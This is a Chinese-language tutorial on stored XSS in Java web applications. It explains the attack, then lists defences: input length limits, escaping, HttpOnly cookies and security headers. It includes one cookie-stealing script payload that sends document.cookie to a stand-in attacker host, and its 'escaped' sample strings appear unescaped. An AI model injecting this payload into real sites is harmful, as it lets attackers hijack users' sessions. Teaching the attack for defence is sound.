Java Web開發 - 持久型/存儲型XSS漏洞
1、什么是XSS漏洞攻擊?
XSS是跨站腳本攻擊(Cross Site Scripting)的簡稱,之所以叫XSS而不是CSS相比大家都能明白了吧,那就是為了跟層疊樣式表(Cascading Style Sheets,CSS)區別。
2、XSS漏洞攻擊的原理
惡意攻擊者往web頁面中插入惡意HTML代碼,當用戶瀏覽該web頁面時,嵌入到該web頁面的惡意HTML代碼就會被執行,從而達到惡意攻擊用戶的特殊目的。
XSS漏洞又分為兩類,一類是持久型/存儲型XSS,另一類是反射型XSS;
1)持久型/存儲型XSS:嵌入到web頁面的惡意HTML會被存儲到應用服務器端,簡而言之就是會被存儲到數據庫,等用戶在打開頁面時,會繼續執行惡意代碼,能夠持續的攻擊用戶;
2)反射型XSS:反射型XSS是一次性的,僅對當次的頁面訪問產生影響。非持久型xss攻擊要求用戶訪問一個被攻擊者篡改后的鏈接,用戶訪問該鏈接時,被植入的攻擊腳本被用戶游覽器執行,從而達到攻擊目的;
本次主要說的是持久型/存儲型XSS漏洞攻擊
3、下面是一個示例
1)這個頁面時個簡單的添加頁面
2)保存成功之后,可以去查看下數據庫,備注字段中的JavaScript代碼已經存儲到數據庫中了,如下:
3)在打開用戶查詢列表的頁面(只要頁面中包含該用戶的備注字段都可以),就會出現如下的信息,代表我們攻擊成功了。
總結:
到這里,可能有人會問,這個能有什么用啊?試想,如果把上面的“備注”字段的值修改成如下的代碼,會有什么結果?
<a id='attacker'>點擊就送百元現金</a>
<script>document.getElementById('attacker').href='http://www.attacker_741.com/receiveCookies.html?'+document.cookie;</script>
如果是這些惡意代碼,那么攻擊者就能獲取到這個用戶的cookie信息,進而以該用戶角色登錄系統了。
4、我們如何來防止這種XSS攻擊呢?我總結了以下幾點,大家可以參考下
1)在頁面上添加用戶輸入長度限制;
2)在服務端(數據庫)添加長度限制;
3)過濾用戶輸入的特殊字符串,對其進行轉義,如下
示例字符串"<script>是不是document.getElementById('a').href=''+document.cookie;</script>",下面是轉義之后的字符串
StringEscapeUtils - <script>是不是document.getElementById('a').href=''+document.cookie;</script>
HtmlUtils - <script>是不是document.getElementById('a').href=''+document.cookie;</script>
4)http相關的設置
A)cookie.setHttpOnly(true);-保護用戶cookie
B)res.setHeader("X-Frame-Options", "SAMEORIGIN");X-Frame-Options對應的屬性值含義
DENY:這個頁面不允許被以frame的方式加載
SAMEORIGIN:這個頁面只允許同源頁面加載
<uri>:這個頁面只能被特定的域加載
C)res.setHeader("X-xss-protection", "1;mode=block");
D)res.setHeader("X-Content-Type-Options", "nosniff ");阻止瀏覽器進行content-type 嗅探。告訴瀏覽器相信此服務器下發的資源的類型,防止類 型嗅探攻擊。